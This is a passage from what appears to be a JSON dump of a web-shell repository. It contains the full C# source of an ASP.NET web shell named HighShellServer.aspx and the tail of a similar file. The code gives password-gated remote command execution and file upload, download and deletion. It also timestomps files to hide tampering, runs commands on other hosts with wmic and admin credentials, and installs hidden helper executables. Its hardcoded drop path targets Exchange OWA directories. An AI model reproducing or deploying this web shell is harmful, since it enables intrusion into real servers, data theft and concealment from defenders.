address.Trim('\\\\').Split('\\\\').Count()==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            System.Threading.Thread.Sleep(3000);\r\n                            List<string> diskTemp=new List<string>();\r\n                            for (int i=1;i <= 5;i++){\r\n                                string f=string.Format(strWF,tmp,i);\r\n                                string[] lDisk=System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD,f));\r\n                                for (int j=1;j<lDisk.Length;j++){\r\n                                    if (i==1)diskTemp.Add(lDisk[j]);\r\n                                    else diskTemp[j-1]+=\"|\"+lDisk[j];\r\n                                }\r\n                            }\r\n                            ret =\"{\\\"dir\\\":[\";\r\n                            bool isStart=false;\r\n                            foreach (string item in diskTemp){\r\n                                string[] diskInfo=item.Split('|');\r\n                                long TotalSize=0;\r\n                                long TotalFreeSpace=0;\r\n                                long.TryParse(diskInfo[2],out TotalSize);\r\n                                long.TryParse(diskInfo[3],out TotalFreeSpace);\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':')+\"$\",TotalSize,TotalFreeSpace,\"[\"+sizeFix(TotalFreeSpace)+\"] free of [\"+sizeFix(TotalSize)+\"]\",diskInfo[1],diskInfo[4]);\r\n                                isStart =true;\r\n                            }\r\n                            ret +=\"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\n    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n    string moduleFolder = @\"C:\\Users\\Public\\Libraries\\Recorded\";\r\n    string checkModules()\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            ret = \"{\\\"modules\\\":[\";\r\n            if (System.IO.Directory.Exists(moduleFolder))\r\n            {\r\n                string mdlList = string.Empty;\r\n                if (System.IO.File.Exists(moduleFolder + \"\\\\z.exe\"))\r\n                    mdlList += \"\\\"mdl7z\\\"\";\r\n                if (System.IO.File.Exists(moduleFolder + \"\\\\r.exe\"))\r\n                {\r\n                    if (!string.IsNullOrEmpty(mdlList))\r\n                        mdlList += \",\";\r\n                    mdlList += \"\\\"mdlrx\\\"\";\r\n                }\r\n                if (System.IO.File.Exists(moduleFolder + \"\\\\n.exe\"))\r\n                {\r\n                    if (!string.IsNullOrEmpty(mdlList))\r\n                        mdlList += \",\";\r\n                    mdlList += \"\\\"mdlnbt\\\"\";\r\n                }\r\n                ret += mdlList;\r\n            }\r\n            ret += \"]}\";\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void installModule(HttpPostedFile mfile, string mname)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try\r\n        {\r\n            if (!System.IO.Directory.Exists(moduleFolder))\r\n            {\r\n                System.IO.DirectoryInfo di = System.IO.Directory.CreateDirectory(moduleFolder);\r\n                di.Attributes = System.IO.FileAttributes.Directory | System.IO.FileAttributes.Hidden;\r\n            }\r\n\r\n            string name = string.Empty;\r\n            string path = string.Empty;\r\n            if (mname == \"mdl7z\")\r\n            {\r\n                name = \"7z\";\r\n                path = moduleFolder + \"\\\\z.exe\";\r\n            }\r\n            else if(mname == \"mdlrx\")\r\n            {\r\n                name = \"rx\";\r\n                path = moduleFolder + \"\\\\r.exe\";\r\n            }\r\n            else if(mname == \"mdlnbt\")\r\n            {\r\n                name = \"nbt\";\r\n                path = moduleFolder + \"\\\\n.exe\";\r\n            }\r\n\r\n            mfile.SaveAs(path);\r\n            ret = \"Module '\"+name+\"' installed successfuly.\";\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void uninstallModule(string mname)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try\r\n        {\r\n            string name = string.Empty;\r\n            string path = string.Empty;\r\n            if (mname == \"mdl7z\")\r\n            {\r\n                name = \"7z\";\r\n                path = moduleFolder + \"\\\\z.exe\";\r\n            }\r\n            else if(mname == \"mdlrx\")\r\n            {\r\n                name = \"rx\";\r\n                path = moduleFolder + \"\\\\r.exe\";\r\n            }\r\n            else if(mname == \"mdlnbt\")\r\n            {\r\n                name = \"nbt\";\r\n                path = moduleFolder + \"\\\\n.exe\";\r\n            }\r\n\r\n            System.IO.File.Delete(path);\r\n            ret = \"Module '\"+name+\"' uninstalled successfuly.\";\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n\r\n        response(ret);\r\n    }\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/HighShellServer.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" %>\r\n\r\n<%\r\ntry\r\n{\r\nNameValueCollection t=HttpContext.Current.Request.Form;\r\nmethod selectedMethod=method.auth;\r\ntry{int methodID=int.Parse(fb(t[\"m\"]));selectedMethod=(method)methodID;}catch{rm();}\r\np=fb(t[\"p\"]);\r\nadminU=fb(t[\"adminU\"]);\r\nadminP=fb(t[\"adminP\"]);\r\nif(string.IsNullOrEmpty(p)){if(HttpContext.Current.Request.Cookies[\"p\"] != null)p=fb(HttpContext.Current.Request.Cookies[\"p\"].Value);}\r\nif(selectedMethod != method.auth && selectedMethod != method.authAjax && !login(p)){rm();}\r\nswitch(selectedMethod){\r\ncase method.auth:\r\ncase method.authAjax:auth(p);break;\r\ncase method.command:\r\ncase method.commandAjax:command(fb(t[\"cmd\"]));break;\r\ncase method.upload:upload(HttpContext.Current.Request.Files[\"uploadFile\"],fb(t[\"uploadPath\"]));break;\r\ncase method.download:download(fb(t[\"don\"]),fb(t[\"isdel\"]));break;\r\ncase method.downloadTest:downloadTest(fb(t[\"don\"]));break;\r\ncase method.explorer:exp(fb(t[\"exadd\"]));break;\r\ncase method.getsize:gsize(fb(t[\"gsize\"]));break;\r\ncase method.getlocation:\r\ncase method.getlocationAjax:response(getLoc());break;\r\ncase method.rename:rename(fb(t[\"rename1\"]),fb(t[\"rename2\"]));break;\r\ncase method.copy:copy(fb(t[\"copy1\"]),fb(t[\"copy2\"]));break;\r\ncase method.view:view(fb(t[\"view\"]));break;\r\ncase method.delete:delete(fb(t[\"delete\"]));break;\r\ncase method.multiDelete:multiDelete(fb(t[\"delete\"]));break;\r\ncase method.changeTime:changeTime(fb(t[\"timeh\"]),fb(t[\"tfil\"]),fb(t[\"ttar\"]),fb(t[\"ttim\"]));break;\r\ndefault:break;\r\n}\r\n}\r\ncatch(Exception ex){response(\"Error : \"+ex.Message);}\r\n%>\r\n<script runat=\"server\">\r\n    enum method{auth=0,command=1,upload=2,uploadbase64=3,delete=4,download=5,changeTime=6,sqlQuery=7,explorer=8,getsize=9,getlocation=10,rename=11,copy=12,view=13,commandAjax=14,downloadTest=15,checkModules=16,installModule=17,uninstallModule=18,cmd7z=19,authAjax=20,getlocationAjax=21,multiDelete=24};\r\n    string salt=\"sdfewq@#$51234234DF@#$!@#$ASDF\";\r\n    string p,adminU,adminP;\r\n    bool aut=false;\r\n    string pp=\"J3ugYdknpax1ZbHB2QILB5NS6dVa0iUD0mhhBPv0Srw=\";\r\n    string a(string a,string b){return string.IsNullOrEmpty(a)?b:a;}\r\n    string tb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Convert.ToBase64String(Encoding.UTF8.GetBytes(a));}catch{}return ret;}\r\n    string fb(string a){string ret=\"\";try{ret=string.IsNullOrEmpty(a)?a:Encoding.UTF8.GetString(Convert.FromBase64String(a));}catch{}return ret;}\r\n    void rm(){Response.Redirect(Request.Url.AbsolutePath.Substring(0,Request.Url.AbsolutePath.LastIndexOf(\"/\")+1)+\" \"+Request.Url.AbsolutePath.Substring(Request.Url.AbsolutePath.LastIndexOf(\"/\")+1));}\r\n    void auth(string p){\r\n        string ret=string.Empty;\r\n        try {\r\n            ret = string.Format(\"{{\\\"auth\\\":\\\"{0}\\\",\\\"loc\\\":\\\"{1}\\\"}}\", login(p).ToString(),tb(getLoc()));\r\n        } catch(Exception e){\r\n            ret =\"Error : \"+e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    bool login(string p){bool aut=false;try{if(!string.IsNullOrEmpty(p)){aut=Convert.ToBase64String(new System.Security.Cryptography.SHA256CryptoServiceProvider().ComputeHash(Encoding.ASCII.GetBytes(p+salt)))==pp;}}catch(Exception e){response(e.Message);}return aut;}\r\n    void command(string cmd){string ret=\"Error : -\";try{string o=exec(cmd);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine)+2);o=o.Remove(0,o.IndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine));o=o.Remove(o.LastIndexOf(Environment.NewLine)+2);ret=HttpUtility.HtmlEncode(o);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void upload(HttpPostedFile uploadFile,string uploadPath)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (System.IO.Path.IsPathRooted(uploadPath))\r\n            {\r\n                string FileName = System.IO.Path.GetFileName(uploadFile.FileName);\r\n                string FilePath = uploadPath.TrimEnd('\\\\') + \"\\\\\";\r\n                if (string.IsNullOrEmpty(System.IO.Path.GetExtension(uploadPath)))\r\n                {\r\n                    if (!System.IO.Directory.Exists(uploadPath))\r\n                    {\r\n                        if (!string.IsNullOrEmpty(System.IO.Path.GetFileName(uploadPath)))\r\n                        {\r\n                            FileName = System.IO.Path.GetFileName(uploadPath);\r\n                            FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                        }\r\n                    }\r\n                }\r\n                else\r\n                {\r\n                    FileName = System.IO.Path.GetFileName(uploadPath);\r\n                    FilePath = System.IO.Path.GetDirectoryName(uploadPath) + \"\\\\\";\r\n                }\r\n\r\n                if (!System.IO.Directory.Exists(FilePath))\r\n                    System.IO.Directory.CreateDirectory(FilePath);\r\n\r\n                uploadFile.SaveAs(FilePath + FileName);\r\n                ret =\"File uploaded successfully : \"+ FilePath + FileName;\r\n            }\r\n            else\r\n                ret=\"Error : The path is not current format \\\"\"+uploadPath+\"\\\"\";\r\n\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    string getLoc(){return @\"C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\Current\\scripts\\premium\\\";}\r\n    void downloadTest(string fdlpath)\r\n    {\r\n        string ret = \"Error : -\";\r\n        try\r\n        {\r\n            if (!string.IsNullOrEmpty(fdlpath))\r\n            {\r\n                using (System.IO.Stream stream = new System.IO.FileStream(fdlpath, System.IO.FileMode.Open))\r\n                {\r\n                    ret = string.Format(\"File '{0}' is ready for download\", fdlpath);\r\n                }\r\n            }\r\n        }\r\n        catch (Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void download(string fdlpath, string isdel)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (!string.IsNullOrEmpty(fdlpath)){\r\n                System.Web.HttpResponse response = System.Web.HttpContext.Current.Response;\r\n                response.ClearContent();\r\n                response.Clear();\r\n                response.ClearHeaders();\r\n                response.ContentType = \"application/octet-stream\";\r\n                response.AppendHeader(\"Content-Disposition\", \"attachment;size=\"+new System.IO.FileInfo(fdlpath).Length+\";filename=\" + HttpUtility.UrlEncode(tb(System.IO.Path.GetFileName(fdlpath))));\r\n                response.WriteFile(fdlpath);\r\n                response.Flush();\r\n                Response.SuppressContent = true;\r\n                ApplicationInstance.CompleteRequest();\r\n            }\r\n        }\r\n        catch(Exception e)\r\n        {\r\n            ret = \"Error : \" + e.Message;\r\n            response(ret);\r\n        }\r\n    }\r\n    string exec(string cmd){string pro=\"\";System.Diagnostics.Process n=new System.Diagnostics.Process();n.StartInfo.FileName=(string.IsNullOrEmpty(pro)?\"cmd.exe\":pro);n.StartInfo.UseShellExecute=false;n.StartInfo.RedirectStandardInput=true;n.StartInfo.RedirectStandardOutput=true;n.StartInfo.RedirectStandardError=true;n.StartInfo.CreateNoWindow=true;string o=null;n.Start();n.StandardInput.WriteLine(cmd);n.StandardInput.WriteLine(\"exit\");o=n.StandardOutput.ReadToEnd();n.WaitForExit();n.Close();return o;}\r\n    void gsize(string addr){string ret=\"Error : -\";try{hasErrorInGetSize=false;long size=GetDirSize(new System.IO.DirectoryInfo(addr));ret=sizeFix(size);if(hasErrorInGetSize && sizelvl==0)ret=sizeError;else if(hasErrorInGetSize)ret=\"!\"+ret;}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void view(string path){string ret=\"You are viewing the contents of this file : \"+path+Environment.NewLine;try{ret+=System.IO.File.ReadAllText(path);}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(HttpUtility.HtmlEncode(ret));}\r\n    void delete(string path){\r\n        string ret=\"Error : -\";\r\n        try {\r\n            System.IO.File.Delete(path);\r\n            ret =string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly deleted{1}\",path,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(path))));\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void multiDelete(string files)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try{\r\n\r\n            string[] f = files.Split('|');\r\n            ret = string.Format(\"All '{0}' files successfuly deleted.\", f.Length);\r\n            foreach (string item in f)\r\n            {\r\n                System.IO.File.Delete(fb(item));\r\n            }\r\n\r\n        }catch (Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        response(ret);\r\n    }\r\n    void rename(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Move(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly moved to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    void copy(string oldName,string newName){string ret=\"Error : -\";try{if(newName.EndsWith(\"\\\\\"))newName+=System.IO.Path.GetFileName(oldName);System.IO.File.Copy(oldName,newName);ret=string.Format(\"{{\\\"message\\\":\\\"{0}\\\",\\\"dirInfo\\\":\\\"{1}\\\"}}\",tb(string.Format(\"File '{0}' successfuly copied to '{1}'{2}\",oldName,newName,Environment.NewLine)),tb(getDirectoryInfo(System.IO.Path.GetDirectoryName(oldName))));}catch(Exception ex){ret=\"Error : \"+ex.Message;}response(ret);}\r\n    string getDirectoryInfo(string address)\r\n    {\r\n        string ret=\"Error : -\";\r\n        try {\r\n            if (address.ToLower()==\"root\"){\r\n                ret =\"{\\\"dir\\\":[{\\\"name\\\":\\\"\\\\\\\\\\\\\\\\localhost\\\"}\";\r\n                string netUse=exec(\"net use\");\r\n                string[] lines=netUse.Split(new string[]{Environment.NewLine },StringSplitOptions.RemoveEmptyEntries);\r\n                foreach (string item in lines){\r\n                    if (item.ToLower().StartsWith(\"ok\")){\r\n                        int index=item.IndexOf(\"\\\\\\\\\");\r\n                        ret +=\",{\\\"name\\\":\\\"\\\\\\\\\"+item.Substring(index,item.IndexOf('\\\\',index+2)-index)+\"\\\"}\";\r\n                    }\r\n                }\r\n                ret +=\"]}\";\r\n            } else{\r\n                if (address.StartsWith(\"\\\\\\\\\")&& address.Trim('\\\\').Split('\\\\').Length==1){\r\n                    string tmp=address.ToLower().TrimEnd('\\\\');\r\n                    if (tmp==\"\\\\\\\\localhost\"){\r\n                        ret =\"{\\\"dir\\\":[\";\r\n                        bool isStart=false;\r\n                        foreach (System.IO.DriveInfo item in System.IO.DriveInfo.GetDrives()){\r\n                            if (item.IsReady){\r\n                                if (isStart)\r\n                                    ret +=\",\";\r\n                                ret +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\",item.Name.TrimEnd('\\\\').TrimEnd(':')+\"$\",item.TotalSize,item.TotalFreeSpace,\"[\"+sizeFix(item.TotalFreeSpace)+\"] free of [\"+sizeFix(item.TotalSize)+\"]\",item.DriveFormat,item.DriveType);\r\n                                isStart =true;\r\n                            }\r\n                        }\r\n                        ret +=\"]}\";\r\n                    } else{\r\n                        if (!string.IsNullOrEmpty(adminU)&& !string.IsNullOrEmpty(adminP)){\r\n                            string strWC=@\"wmic /node:{0} /user:{1} /password:{2} process call create \"\"cmd.exe /c > c:\\windows\\temp\\KMSHFX0023{3}.tmp 2>&1 wmic logicaldisk get {4}\"\" 2>&1\";\r\n                            string strWF=@\"\\\\{0}\\c$\\windows\\temp\\KMSHFX0023{1}.tmp\";\r\n                            string strWD=@\"del {0} 2>&1\";\r\n                            tmp =tmp.TrimStart('\\\\');\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,1,\"Caption\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,2,\"FileSystem\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,3,\"Size\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,4,\"FreeSpace\"));\r\n                            exec(string.Format(strWC,tmp,adminU,adminP,5,\"Description\"));\r\n                            System.Threading.Thread.Sleep(3000);\r\n                            string[] diskTemp = new string[100];\r\n                            for (int i = 1; i <= 5; i++)\r\n                            {\r\n                                string f = string.Format(strWF, tmp, i);\r\n                                string[] lDisk = System.IO.File.ReadAllLines(f);\r\n                                exec(string.Format(strWD, f));\r\n                                for (int j = 1; j < lDisk.Length; j++)\r\n                                {\r\n                                    if (i == 1) diskTemp[j - 1] = lDisk[j];\r\n                                    else diskTemp[j - 1] += \"|\" + lDisk[j];\r\n                                }\r\n                            }\r\n                            ret = \"{\\\"dir\\\":[\";\r\n                            bool isStart = false;\r\n                            foreach (string item in diskTemp)\r\n                            {\r\n                                if (!string.IsNullOrEmpty(item))\r\n                                {\r\n                                    string[] diskInfo = item.Split('|');\r\n                                    long TotalSize = 0;\r\n                                    long TotalFreeSpace = 0;\r\n                                    long.TryParse(diskInfo[2], out TotalSize);\r\n                                    long.TryParse(diskInfo[3], out TotalFreeSpace);\r\n                                    if (isStart)\r\n                                        ret += \",\";\r\n                                    ret += string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"totalSize\\\":\\\"{1}\\\",\\\"freeSpace\\\":\\\"{2}\\\",\\\"sizeText\\\":\\\"{3}\\\",\\\"format\\\":\\\"{4}\\\",\\\"type\\\":\\\"{5}\\\"}}\", diskInfo[0].TrimEnd('\\\\').TrimEnd(' ').TrimEnd(':') + \"$\", TotalSize, TotalFreeSpace, \"[\" + sizeFix(TotalFreeSpace) + \"] free of [\" + sizeFix(TotalSize) + \"]\", diskInfo[1], diskInfo[4]);\r\n                                    isStart = true;\r\n                                }\r\n                            }\r\n                            ret += \"]}\";\r\n                        } else\r\n                            ret =\"Error : Admin Username or Password is empty\";\r\n                    }\r\n                } else{\r\n                    System.IO.FileAttributes attr=System.IO.File.GetAttributes(address);\r\n                    if ((attr & System.IO.FileAttributes.Directory)==System.IO.FileAttributes.Directory){\r\n                        System.IO.DirectoryInfo dirInfo=new System.IO.DirectoryInfo(address);\r\n                        ret =\"{\"+string.Format(\"{0},{1}\",createJsonDirectory(dirInfo.GetDirectories()),createJsonFile(dirInfo.GetFiles()))+\"}\";\r\n                    }\r\n                }\r\n            }\r\n        } catch(Exception ex){\r\n            ret =\"Error : \"+ex.Message;\r\n        }\r\n        return ret;\r\n    }\r\n    void exp(string exadd){string ret=\"Error : -\";ret=getDirectoryInfo(exadd);response(ret);}\r\n    bool hasErrorInGetSize=false;\r\n    int sizelvl=0;\r\n    string sizeError;\r\n    long GetDirSize(System.IO.DirectoryInfo d){long size=0;try{System.IO.FileInfo[] fis=d.GetFiles();foreach(System.IO.FileInfo fi in fis){size+=fi.Length;}sizelvl++;System.IO.DirectoryInfo[] dis=d.GetDirectories();foreach(System.IO.DirectoryInfo di in dis){size+=GetDirSize(di);}}catch(UnauthorizedAccessException ex){sizeError=\"Error : \"+ex.Message;hasErrorInGetSize=true;}return size;}\r\n    string createJsonDirectory(System.IO.DirectoryInfo[] dir){\r\n        string json=\"\\\"dir\\\":[\";\r\n        for (int i=0;i<dir.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"mdate\\\":\\\"{1}\\\"}}\",dir[i].Name,dir[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string createJsonFile(System.IO.FileInfo[] file){\r\n        string json=\"\\\"file\\\":[\";\r\n        for (int i=0;i<file.Length;i++){\r\n            if (i>0)json+=\",\";\r\n            json +=string.Format(\"{{\\\"name\\\":\\\"{0}\\\",\\\"size\\\":\\\"{1}\\\",\\\"mdate\\\":\\\"{2}\\\"}}\",file[i].Name,sizeFix(file[i].Length),file[i].LastWriteTime.ToString(\"yyyy-MM-dd\"));\r\n        }\r\n        json +=\"]\";\r\n        return json;\r\n    }\r\n    string sizeFix(long size){double s=size;if(s<1024)return s+\" B\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" KB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" MB\";s=s/1024;if(s<1024)return Math.Round(s,2)+\" GB\";s=s/1024;return Math.Round(s,2)+\" TB\";}\r\n    void response(string res){Response.Clear();Response.Write(tb(res));Response.Flush();Response.SuppressContent=true;ApplicationInstance.CompleteRequest();}\r\n    void changeTime(string timeh,string tfil,string ttar,string ttim){string ret=\"Error : -\";try {if(!string.IsNullOrEmpty(tfil)){if(timeh==\"1\")ret=ti(tfil);else if(timeh==\"2\"){if(!string.IsNullOrEmpty(ttar)){System.IO.File.SetCreationTime(tfil,System.IO.File.GetCreationTime(ttar));System.IO.File.SetLastAccessTime(tfil,System.IO.File.GetLastAccessTime(ttar));System.IO.File.SetLastWriteTime(tfil,System.IO.File.GetLastWriteTime(ttar));ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}else if(timeh==\"3\"){if(!string.IsNullOrEmpty(ttim)){DateTime te=DateTime.Parse(ttim);System.IO.File.SetCreationTime(tfil,te);System.IO.File.SetLastAccessTime(tfil,te);System.IO.File.SetLastWriteTime(tfil,te);ret=\"Time successfuly changed :<br>\"+tfil+\"<br>\"+ti(tfil);}}}}catch(Exception e){ret=\"Error : \"+e.Message;}response(ret);}\r\n    string ti(string tt){return \"Creation Time :\\t\\t\"+System.IO.File.GetCreationTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Access Time :\\t\"+System.IO.File.GetLastAccessTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\")+\"<br>Last Write Time :\\t\"+System.IO.File.GetLastWriteTime(tt).ToString(\"yyyy-MM-dd HH:mm:ss\");}\r\n\r\n</script>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/HyperShell/ShellLocal-Parts/p1.txt",
